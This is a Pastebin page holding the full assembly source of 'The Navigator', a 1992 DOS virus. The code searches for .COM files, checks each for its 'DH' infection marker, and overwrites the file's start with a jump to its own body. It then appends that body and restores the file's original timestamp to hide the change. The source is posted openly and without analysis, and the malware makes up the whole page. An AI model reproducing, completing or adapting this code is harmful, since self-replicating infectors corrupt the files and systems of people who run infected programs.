Advertisement
FlyFar

The Navigator Virus Original Soure Code - Dark Helmet (Netherlans)

Jan 7th, 2023
2,772
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 2.08 KB | Cybersecurity | 0 0
  1. .Radix 16
  2.  
  3. Navigator   Segment
  4.         Assume cs:Navigator, ds:Navigator,
  5.         org 100h
  6.  
  7. len         equ offset last - begin
  8.  
  9. Dummy:          db 0e9h, 03h, 00h, 44h, 48h, 00h
  10.  
  11. Begin:          call virus
  12.  
  13. Virus:          pop bp
  14.                 sub bp,109h
  15.                 mov dx,0fe00h
  16.                 mov ah,1ah
  17.                 int 21h
  18.        
  19. Restore_begin:  mov di,0100h
  20.         lea si,ds:[buffer+bp]
  21.         mov cx,06h
  22.         rep movsb
  23.                
  24. First:      lea dx,[com_mask+bp]
  25.         mov ah,04eh
  26.         xor cx,cx
  27.         int 21h
  28.  
  29. Open_file:  mov ax,03d02h
  30.         mov dx,0fe1eh
  31.         int 21h
  32.         mov [handle+bp],ax
  33.         xchg ax,bx
  34.  
  35. Read_date:  mov ax,05700h
  36.         int 21h
  37.         mov [date+bp],dx
  38.         mov [time+bp],cx
  39.  
  40. Check_infect:   mov bx,[handle+bp]
  41.         mov ah,03fh
  42.         mov cx,06h
  43.         lea dx,[buffer+bp]
  44.         int 21h
  45.                 mov al,byte ptr [buffer+bp]+3
  46.         mov ah,byte ptr [buffer+bp]+4
  47.         cmp ax,[initials+bp]
  48.         jne infect_file
  49.  
  50. Close_file:     mov bx,[handle+bp]
  51.         mov ah,3eh
  52.         int 21h
  53.  
  54. Next_file:      mov ah,4fh
  55.         int 21h
  56.         jnb open_file
  57.         jmp exit
  58.  
  59. Infect_file:    mov ax,word ptr [cs:0fe1ah]
  60.         sub ax,03h
  61.         mov [lenght+bp],ax
  62.         mov ax,04200h
  63.         call move_pointer
  64.        
  65. Write_jump:     mov ah,40h
  66.         mov cx,01h
  67.         lea dx,[jump+bp]
  68.         int 21h
  69.         mov ah,40h
  70.         mov cx,02h
  71.         lea dx,[lenght+bp]
  72.         int 21h
  73.         mov ah,40
  74.         mov cx,02h
  75.         lea dx,[initials+bp]
  76.         int 21h
  77.  
  78. Write_virus:    mov ax,4202h
  79.         call move_pointer
  80.         mov ah,40h
  81.         mov cx,len
  82.         lea dx,[begin+bp]
  83.         int 21h
  84.  
  85. restore_date:   mov dx,[date+bp]
  86.         mov cx,[time+bp]
  87.         mov bx,[handle+bp]
  88.         mov ax,05701h
  89.         int 21h
  90.  
  91. exit:       mov bx,0100h
  92.         jmp bx
  93.  
  94. ;----------------------------------------------------------------------------
  95.  
  96. move_pointer:   mov bx,[handle+bp]
  97.         xor cx,cx
  98.         xor dx,dx
  99.         int 21h
  100.         ret
  101.        
  102. ;----------------------------------------------------------------------------
  103.  
  104. com_mask    db "*.com",0
  105. handle      dw ?
  106. date        dw ?
  107. time        dw ?
  108. buffer          db 090h,0cdh,020h,044h,048h,00h
  109. initials        dw 4844h        
  110. lenght      dw ?
  111. jump            db 0e9h,0
  112. msg             db "The Navigator, (c) 1992 Dark Helmet",0
  113.  
  114. last        db 090h
  115.  
  116. Navigator   ends
  117.         end  dummy
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement